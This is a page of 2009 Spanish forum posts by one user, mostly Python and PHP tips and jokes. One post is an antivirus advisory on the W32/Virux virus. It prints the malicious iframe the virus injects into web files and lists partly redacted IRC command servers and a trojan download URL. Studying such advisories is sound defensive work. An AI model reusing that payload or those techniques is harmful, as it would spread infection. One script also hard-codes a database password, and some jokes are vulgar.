• Domingo 22 de Diciembre de 2024, 23:43

Mostrar Mensajes

Esta sección te permite ver todos los posts escritos por este usuario. Ten en cuenta que sólo puedes ver los posts escritos en zonas a las que tienes acceso en este momento.


Mensajes - RadicalEd

Páginas: 1 ... 10 11 [12] 13 14 ... 123
276
Sobre los Foros de SoloCodigo / Re: Color de los permanentes
« en: Miércoles 1 de Abril de 2009, 15:27 »
Me gusta el 6

277
MySQL / Re: Consulta suma de valores mas neto segun signo
« en: Martes 31 de Marzo de 2009, 20:20 »
Puede que la respuesta que te daré te frustré, aunque puede que no sea así; pero la forma que veo más fácil de hacerlo es utilizando un lenguaje de por medio que te extraiga esos datos y te los imprima, ya que directamente desde el motor no lo vas a poder hacer.

Es solo lo que yo pienso que es, pueda que no sea así y otro forero te pueda ayudar.

278
PHP / [Código Fuente] Linux - Windows
« en: Martes 31 de Marzo de 2009, 20:11 »
Yo trabajo con Linux y Windows al mismo tiempo el servidor de la aplicación es un Linux Ubuntu y las máquinas que usan la aplicación están en Windows; eso si te recomiendo que lo trabajes con exploradores con motor gecko como Firefox o Flock.

279
PHP / [Código Fuente] No entiendo
« en: Martes 31 de Marzo de 2009, 02:15 »
En qué parte te falla??? ya por ahí me dijerón que si les funcionaba además lo subí con ejemplos en la DB \'tons no debería fallarte.

280
Python / Re: Existe esto en Python?
« en: Viernes 27 de Marzo de 2009, 22:44 »
utiliza el método split con parámetro espacio ' ', algo así

Código: Python
  1. var = 'Algo escrito aqui'
  2. lista = var.split(' ')
  3.  

281
La taberna del BIT / Re: Nuevo récord! ;)
« en: Jueves 26 de Marzo de 2009, 17:16 »
:bravo:  :bravo:  :bravo:  :bravo:  :bravo:
Sigamos así, vamos rebien.
 :bravo:  :bravo:  :bravo:  :bravo:  :bravo:

282
Python / Re: Descarga Videos de YouTube
« en: Miércoles 25 de Marzo de 2009, 13:40 »
Código: Python
  1. #!/usr/bin/env python
  2. #Probado con un video de Dragon Ball Z
  3. #http://es.youtube.com/watch?v=MJoAZPTiWBA
  4. #Desarrollado por RadicalEd
  5. import re, sys, urllib2
  6. #se toman los datos ingresados por la linea de comandos
  7. arg = sys.argv
  8. #Obtener los datos por medio de entrada
  9. url = raw_input('Introducir url: ')
  10. #obtenemos el fuente de la pagina
  11. #s = urllib2.urlopen(arg[1]).read()
  12. s = urllib2.urlopen(url).read()
  13. #Con expresiones regulares se obtiene todo lo que venga despues del 'video_id='
  14. m = re.search('(?<=video_id=).*', s)
  15. video = m.group(0)
  16. #Quitamos la comilla simple o doble que haya al final
  17. video = video.replace("';", '')
  18. video = video.replace('";', '')
  19. flv = urllib2.urlopen('http://www.youtube.com/get_video?video_id='+video)
  20. #Guardamos el archivo
  21. archiflv = open('video.flv', 'w')
  22. archiflv.write(flv.read())
  23. archiflv.close()
  24. #La siguiente linea se puede descomentar si tienes un linux instalado con el paquete ffmpeg
  25. #os.system('ffmpeg -i video.flv video.avi')
  26.  
Ojala te sirva.
Chao

283
Python / Re: Descarga Videos de YouTube
« en: Jueves 19 de Marzo de 2009, 17:33 »
Cómo utilizas el script???
De esta forma mola
script.py http://es.youtube.com/watch?v=MJoAZPTiWBA

Lo que te quizo decir es que le falta el parámetro de la url.

284
PHP / Re: formulario de envio en php y flash
« en: Sábado 14 de Marzo de 2009, 17:30 »
Dentro de las líneas del header añade un
$headers .= "cc: user@server.com.rn";

285
PHP / Re: mostrar archivos de una carpeta
« en: Viernes 13 de Marzo de 2009, 18:30 »
No necesitas PHP para eso, solamente apunta a la carpeta y que tenga permisos de lectura y listo.

286
La taberna del BIT / Re: Cuentame Un Chiste
« en: Viernes 20 de Febrero de 2009, 22:21 »
Enviado por JuanK a mi mail.
En un pueblito cercano a PASTO, el Alcalde Municipal, recibe un telegrama urgente que dice:

'Movimiento telúrico trepidatorio, posiblemente 7 en escala RICHTER
detectado en su zona. Localizar epicentro e informar alteraciones con la flora y la fauna'.

Varias semanas después llega la respuesta del Alcalde Municipal de Pasto a sus superiores:

'Epicentro fue localizado y arrestado, ya confesó y está preso, esperamos ordenes superiores. Telúrico quedo muerto en el lugar de los hechos.

El tal Richter y otros 8 malparidos del movimiento trepidatorio se volaron, pero ya casi los pescamos.

A la Flora y a la Fauna las echamos del pueblo por putas..'

Nota: No habíamos podido informar antes porque hubo un terremoto ni el "%$&^/%~$*.

287
La taberna del BIT / Re: Desconectado
« en: Viernes 20 de Febrero de 2009, 21:53 »
Sorry es Huawei

288
Python / Re: No se ejecuta accion en Notificacion
« en: Viernes 20 de Febrero de 2009, 21:25 »
No es mucho en lo que te pueda ayudar, pero acá encontrarás lo que buscas /usr/share/doc/python-notify/examples, al parecer es una libreria desarrollada por gnome por eso no encuentras nada en la documentación oficial.

289
La taberna del BIT / Desconectado
« en: Viernes 20 de Febrero de 2009, 20:19 »
El día martes 17 de febrero sufrí un accidente en mi moto y me fracturé la muñeca derecha, por tal caso estaré incapacitado por 1 mes, de tal modo no podré entrar mucho a internet y al foro, aunque de la empresa piensan conseguirme un huawey en tal caso podré trabajar a gusto.

Muchas gracias.

290
Python / Un Feed RSS
« en: Martes 17 de Febrero de 2009, 00:08 »
Pues ando jugando últimamente con el pynotify y pues acá dejo este pequeño lector de feeds Atom.
Código: Python
  1. #!/usr/bin/env python
  2. # -*- coding: cp1252 -*-
  3. #Desarrollado por RadicalEd
  4. import feedparser
  5. import pynotify
  6. import urllib2, urllib
  7. import time
  8. import re
  9.  
  10. class FeedRSS():
  11.  #Inicializamos valores
  12.  def __init__ (self, rss, blog):
  13.      self.blog = blog
  14.      #Nos conectamos al feed del blog
  15.      self.rss = feedparser.parse(rss)
  16.      #Extraemos lo que necesitamos
  17.      self.title = self.rss.entries[0].title
  18.      self.link = self.rss.entries[0].link
  19.  
  20.  #Vamos a convertir los links grandes en pequeños
  21.  def mostrar (self, tinyurl = 'http://tinyurl.com/create.php', nuevo=''):
  22.      #Los datos a envíar en el campo url del formulario
  23.      data = urllib.urlencode([('url', self.link)])
  24.      #Envíamos los datos
  25.      req = urllib2.Request(tinyurl)
  26.      pagina = urllib2.urlopen(req, data)
  27.      #Al recibir los datos los empezamos a leer
  28.      while True:
  29.          data = pagina.read(1024)
  30.          if not len(data):
  31.              break
  32.          nuevo += data
  33.  
  34.      #Con expresiones regulares buscamos cada dato que tenga la linea <b>http://tinyurl.com/
  35.      r = re.compile('<b>http://tinyurl.com/([a-zA-Z0-9]+)</b>',re.S)
  36.  
  37.      #Buscamos en todo el source de la pagina
  38.      x = r.findall(nuevo)
  39.  
  40.      #Este sera el mensaje a mostrar en el notificador
  41.      msg = "%sn<a href='http://tinyurl.com/%s'>http://tinyurl.com/%s</a>" % (self.title, x[0], x[0])
  42.  
  43.      if not pynotify.init('Al no iniciarse'):
  44.          sys.exit(1)
  45.  
  46.      #Mostramos la Notificación
  47.      n = pynotify.Notification(self.blog,msg)
  48.      n.set_timeout(15000) #Que se muestre el mensaje durante 15 segundos
  49.      n.show()
  50.  
  51.      #Sino se muestra
  52.      if not n.show():
  53.          print "Fallo al mostrar la info"
  54.          sys.exit(1)
  55.  
  56. #Blogs de ejemplo
  57. rp = FeedRSS('http://radicalpython.blogspot.com/feeds/posts/default', 'RadicalPython')
  58. rp.mostrar()
  59. wb = FeedRSS('http://willy-n-billy.blogspot.com/feeds/posts/default', 'Willy-n-Billy')
  60. wb.mostrar()
  61. mb = FeedRSS('http://mbrenes.blogspot.com/feeds/posts/default', '{ Blog de Shakka }')
  62. mb.mostrar()
  63. lm = FeedRSS('http://elladodelmal.blogspot.com/feeds/posts/default', 'El lado del mal')
  64. lm.mostrar()
  65.  

291
Diseño de Algoritmos / Re: || Hacer esta figura mediante Pseudocodigo ||
« en: Sábado 14 de Febrero de 2009, 13:58 »
No Oblierator, debe hacerlo por medio de bucles, es más sencillo, además imaginate si tuviera que llegar a los 10000 asteriscos, lo que han dicho Nebire y m0skit0, está más que explicado.

292
PHP / Re: Es Posible???
« en: Sábado 14 de Febrero de 2009, 13:56 »
Puedes envíartelo por un mail desde un script en PHP.
Pero no me trama lo que quiere hacer..... :P , no te ofendas sino es así lo que te voy a decir pero parece que quieres lameriar un servidor.

293
JavaScript / Re: Validacion de campos no funciona en Firefox
« en: Sábado 14 de Febrero de 2009, 13:54 »
Cada que yo me quiero referir a los campos de un formulario lo comiendo desde "document", en tú ejemplo faltaría algo como:
Código: Text
  1. function ejecutar() {
  2. var nombre = document.cont.elements.nombre;
  3. var empresa = document.cont.elements.empresa;
  4. var email = document.cont.elements.email;
  5. var tel = document.cont.elements.tel;
  6. var comentarios = document.cont.elements.comentarios;
  7.  
Además para hacer algo más legible el código puedes dejarlo de esta forma
Código: Text
  1. function ejecutar() {
  2. f = document.cont;
  3. var nombre = f.elements.nombre;
  4. var empresa = f.elements.empresa;
  5. var email = f.elements.email;
  6. var tel = f.elements.tel;
  7. var comentarios = f.elements.comentarios;
  8.  

294
Python / Re: Un script para vehículos
« en: Sábado 14 de Febrero de 2009, 13:38 »
gracias NRM; ya lo había pensado en SQLite por el tamaño y los servicios, la vaina es que desde mucho antes había creado esa tabla en MySQL y llevó mis registros de la moto ahí, además las tablas de todas las aplicaciones que he hechó las tengo en una sola DB y pues para no perderme búscando por diferentes lados la creé ahí.

Gracias por el enlace, lo voy a revisar.

295
PHP / Re: como generar una tabla generada en Excel en PHP?
« en: Viernes 13 de Febrero de 2009, 20:21 »
De dónde tomas esos datos, de una tabla, de ese archivo de Excel???
Si es para lo primero con un mysql_fetch_array y un ciclo te mola.
Si es para lo segundo, revisa este enlace http://www.cristalab.com/tips/abrir-y-l ... p-c38945l/

296
Python / Un script para vehículos
« en: Viernes 13 de Febrero de 2009, 20:03 »
Lo copio tal cual de mi blog =D.
Este script lo desarrollé por que hace algún tiempo tenía en mente como controlar las finanzas con mi bebé (moto honda eco deluxe), al principio lo hicé con una DB e insertando los datos a mano, pero con el tiempo quería saber cuanto me quedaba de gasolina y aceite y más o menos cuando debía cargar, diaríamente estoy gastando alrededor de 100km.
Código: SQL
  1. CREATE TABLE IF NOT EXISTS `gasto` (
  2. `id int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
  3. fecha date NOT NULL,
  4. precio varchar(6) NOT NULL,
  5. kilometraje varchar(5) NOT NULL,
  6. gasto varchar(25) NOT NULL,
  7. PRIMARY KEY  (`id`)
  8. );
  9.  
  10.  
Código: Python
  1. #!/usr/bin/env python
  2. #Desarrollado por RadicalEd
  3.  
  4. import sys, os
  5. import pynotify, MySQLdb
  6.  
  7. #Tomado nuevamente del blog de Daniel Garcia Moreno
  8. comando = 'zenity --text "Kilometraje actual" --entry'
  9. entrada, salida = os.popen2(comando)
  10. kmact = salida.read()
  11. kmact = int(kmact.strip())#Lo convertimos a entero
  12.  
  13. #Nos conectamos a la DB
  14. conn = MySQLdb.connect(host="localhost", user="usdist", passwd="clio1214", db="paginafiles")
  15. #Creamos un cursor para ejecutar las sentencias SQL
  16. cursor = conn.cursor()
  17. #El script a ejecutar
  18. cursor.execute('SELECT * FROM gasto')
  19. registros = int(cursor.rowcount)
  20.  
  21. #Instanciamos variables
  22. #Se que dieciocho mil pesos en mi moto son 450km de gasolina (100%)
  23. dinerogas, kmgasolina = 18000, 450.0
  24. #Se que trece mil cuatrocientos en mi moto son 1500km de aceite (100%)
  25. dineroace, kmaceite = 13400, 1500.0
  26. gasolina = 0
  27. aceite = 0
  28. mostrar = '' #Mensaje a mostrar
  29.  
  30. #Campos de la DB
  31. for x in range(registros):
  32.   row = cursor.fetchone()
  33.   gasto = row[4]  #Tipo de gasto
  34.   #Para hacer la suma de cuanto llevamos en GASOLINA y en ACEITE
  35.   if gasto == 'GASOLINA':
  36.       gasolina += int(row[2])
  37.       ultkmgas = int(row[3])  #Ultimo kilometraje gasolina
  38.       ultfechagas = row[1] #Ultima fecha gasolina
  39.   elif gasto == 'ACEITE':
  40.       aceite += int(row[2])
  41.       ultkmace = int(row[3])  #Ultimo kilometraje aceite
  42.       ultfechaace = row[1] #Ultima fecha aceite
  43.  
  44. #Calculos
  45. gastogas = kmact - ultkmgas  #Gasto gasolina
  46. kmrestgas = kmgasolina - gastogas  #Kilometros restantes gasolina
  47. porcentgas = (kmrestgas / kmgasolina) * 100  #Porcentaje restante gasolina
  48. gastoace = kmact - ultkmace  #Gasto aceite
  49. kmrestace = kmaceite - gastoace  #Kilometros restantes aceite
  50. porcentace = (kmrestace / kmaceite) * 100  #Porcentaje restante gasolina
  51.  
  52. #Alertas para gasolina y aceite
  53. if kmrestgas <= 20:
  54.   mostrar += 'Favor tanquear a tiempo, solo queda el %d%s restante de gasolina' % (porcentgas, chr(37))
  55.  
  56. if kmrestace <= 100:
  57.   mostrar += 'nnFavor cambiar aceite a tiempo, solo queda el %d%s restante de este' % (porcentace, chr(37))
  58.  
  59. mostrar += "nnHas gastado %dkm en Aceite, te queda un %d%s osea %dkm" % (gastoace, porcentace, chr(37), kmrestace)
  60. mostrar += "nnHas gastado %dkm en Gasolina, te queda un %d%s osea %dkm" % (gastogas, porcentgas, chr(37), kmrestgas)
  61.  
  62. if __name__ == '__main__':
  63.   if not pynotify.init("Al no iniciarse"):
  64.       #Nos salimos
  65.       sys.exit(1)
  66.  
  67. n = pynotify.Notification(mostrar)
  68. n.set_timeout(15000) #Que se muestre el mensaje durante 15 segundos
  69.  
  70. #Sino se muestra
  71. if not n.show():
  72.   print "Fallo al mostrar la info"
  73.   sys.exit(1)
  74.  

La insercción de los datos no tiene nada que ver con el script, por eso no la pusé, ese paso siempre lo hago por phpMyAdmin :P
Para que el programa funcione cuando inicia sesión por lo menos en Linux Ubuntu van a Sistema --> Preferencias --> Sesiones --> Programas de inicio; en esta parte colocan el script. Acá un videito de como funciona la vaina.

Ojala les sirva de algo, en mi blog deje un video para ver el funcionamiento.
http://radicalpython.blogspot.com/2009/ ... otify.html

PD. No funciona en Windows :P jejeje

297
Virus / Virux
« en: Viernes 13 de Febrero de 2009, 15:01 »
Información extraida de Alerta Antivirus

Datos Técnicos
Peligrosidad: 3 - Media
Difusión: Baja
Fecha de Alta:13-02-2009
Última Actualización:13-02-2009
Daño: Alto
[Explicación de los criterios]
Dispersibilidad:   Alto
Nombre completo: Virus.W32/Virux
Tipo: [Virus] - Virus Genérico, normalmente se propaga infectando archivos ejecutables.
Plataforma: [W32] - Ejecutable PE (.EXE, .SCR, .DLL) que corre en Windows de 32 bits: 95, 98, Me, NT, 2000, XP, 2003
Alias:PE_VIRUX.A (Trend Micro), Win32/Virut.E (AhnLab), Win32/Virut.17408.A virus (Computer Associates), Win32.Virut.56 (Doctor Web), W32/Virut.AI (FRISK Software), Virus:Win32/Virut.BM (Microsoft), W32/Scribble-A (Sophos)
Detalles
Método de Infección/Efectos

El virus crea el evento Vx_5. Ajustando los privilegios del sistema para darse a sí mismo privilegios de depuración (debug).

Se inyecta en el proceso WINLOGON.EXE. Creando un hilo de ejecución para ejecutar su rutina de puerta trasera y deshabilitar la protección de archivos de Windows.

Crea la siguiente entrada de registro:

Clave: HKEY_USERS.DEFAULTSOFTWAREMicrosoftWindowsCurrentVersionExplorer
Valor: "UpdateHost = "{valor binario aleatorio}""

También crea la siguiente entrada de registro para evitar el cortafuegos de Windows:

Clave: HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSharedAccess

ParametersFirewallPolicyDomainProfileAuthorizedApplicationsList

Valor: "??%System%winlogon.exe = "??%System%winlogon.exe:*:enabled:@shell32.dll,-1""

Nota: %System% es una variable que hace referencia al directorio del sistema de Windows.
Por defecto es C:WindowsSystem (Windows 95/98/Me), C:WinntSystem32 (Windows NT/2000), o C:WindowsSystem32 (Windows XP).

Esta rutina permite hacer descargas desde el servidor IRC al que se conecte.

Puede deshabilitar el System File Checker(SFC) del sistema. SFC es una característica de seguridad para Windows, para revertir modificaciones no autorizadas realizadas en archivos críticos del sistema. Deshabilitar este servicio SFC permite a este virus infectar archivos críticos del sistema y/o aplicaciones.

El virus infecta los archivos del sistema añadiendo su código. Mapea NTOSKRNL.EXE en memoria para permitirse a sí mismo enganchar los procesos de creación de APIs.

Infecta archivos del siguiente tipo:

    * .EXE
    * .SRC

No infecta archivos que contengan las siguientes cadenas de carácteres en su nombre:

    * OTSP
    * WC32
    * WCUN
    * WINC

No infecta archivos con las siguientes características:

    * archivos .DLL
    * archivos PE con una sección llamada "_win"
    * archivos ejecutables MZ con una marca de infección en el offset 0x20 o 0x1c

Infecta archivos de secuencias de comandos si la extensión es:

    * .ASP
    * .HTM
    * .PHP

Una vez que encuentra un archivo de sencuencia de comandos crea una marca para infectarlo con un iFrame. Abre los archivos marcados y comprueba que exista una cierta cadena de caracteres. Si encuentra la cadena infecta el archivo.

Busca la cadena </BODY> en un archivo de secuencia de comandos. Si la encuentra, infecta el achivo insertando código iFrame malicioso con el siguiente códgigo:

 <iframe src="http://[eliminado].pl/rc" with=1 height=2 style="border:0"></iframelt>

Los archivos infectados son localizados como copias del virus y los archivos de secuencia de comandos como HTML_IFRAME.NV.

Monitoriza la siguientes APIs para conectar todas las instancias de NTDLL.DLL

    * CreateFile
    * CreateProcess
    * CreateProcessEx
    * OpenFile
    * QueryInformationProcess

Esta API es utilizada para ejecutar o acceder al archivo, así un fichero será infectado si es ejecutado o leído.

Infecta los archivos ejecutables de varias formas: Anexándose al principio del fichero ejecutable, anexándose al final, introduciendo sus tipos de código en las partes sin contenido del fichero (conocido por infección de cavidad) o por ocultación del punto de entrada (del inglés, Entry Point Ofuscation, EPO). También usa una rutina de encriptación multicapa.

Se conecta a uno de los siguientes servidores IRC usanco el puerto 80:

    * [eliminado]f.pl
    * [eliminado].ircgalaxy.pl

Esta rutina se ejecuta cada 30 segundos, generando un NICK y USER aleatorio por cada intento.

Una vez conectado, se une a un canal que recibe y ejectua comandos en el sistema afectado, por lo que el ordenador infectado puede llegar a funcionar como una BotNet.

El atacante remoto ejecuta comandos en el sistema infectado para descargar y ejecutar código maliciosos de las siguietes URL:

    * http://[eliminado].cn/ex/0032.exe - detectado como TROJ_INJECTOR.AR

Esta rutina efectivamente compromete el sistema de seguridad del sistema afectado. La URL a la que se conecta, y el malware descargado puede cambiar dependiendo de las solicitudes del usuario remoto.

El virus modifica el archivo HOST, insertando la siguiente entrada al principo del fichero

    * 127.0.0.1 [eliminado]F.pl

NOTA: El fichero "Hosts" normalmente se encuentra ubicado en "%System%driversetc".
Método de Propagación

El virus se propaga dejando copias de sí mismo en varios ficheros ejecutables .EXE y .SCR.

Puede llegar al sistema al ejecutar un fichero infectado, o desde Internet al visitar una página Web que contiene un iframe que enlaza a una página maliciosa.

298
La taberna del BIT / Re: Y si no es Uribe, entonces quien???
« en: Jueves 12 de Febrero de 2009, 17:00 »
Me abstengo de responder, pero les pregunta ¿¿¿QUE BARBARIDADES DICEN?????

299
La taberna del BIT / Re: Cuentame Un Chiste
« en: Miércoles 11 de Febrero de 2009, 15:54 »
Chiste que me llegó al mail:

COLÓN ERA SOLTERO

Cristóbal Colón pudo descubrir América sólo porque ¡¡ERA SOLTERO!!
 Si Cristóbal Colón hubiese tenido una esposa, habría tenido que oir:
¿Y por qué tienes que ir tú?
 ¿Y por qué no mandan a otro?
¡Todo lo ves redondo!
¿Estas loco o eres idiota?
¡No conoces ni a mi familia y vas a descubrir el nuevo mundo!
¿Y sólo van a viajar hombres?
 ¿Me crees güevona?
Y por qué no puedo ir yo si tú eres el jefe?
 ¡Desgraciado, ya no sabes qué inventar para estar fuera de casa!
¡Si cruzas esa puerta yo me voy con mi madre! ¡Sinvergüenza!
¿Y quién es esa tal María? ¿Qué Pinta? ¡Y la muy hija de puta se hace la Santa!
¿Y dices que es una Niña?...
 ¡Vete a la mierda!
¡Todo lo tenías planeado, maldito! Vas a encontrarte con unas indias putas.
¿A mí me vas engañar?
¿Qué la Reina Isabel va a vender sus joyas para que viajes?
¿Me crees tonta o qué?
¿Qué tienes con esa vieja hijueputa? ¡¡LA MUY ZORRA!!
¡No permitiré que vayas a ningún lado!
No va a pasar nada si el mundo sigue plano.
Así que ni te vistas que ¡¡¡no vas!!!

300
Otras Bases de Datos / Re: SQL PURO
« en: Martes 10 de Febrero de 2009, 18:13 »
El SQL es estandard, cualquier motor de base de datos debe servirte para funcionar con este.

Páginas: 1 ... 10 11 [12] 13 14 ... 123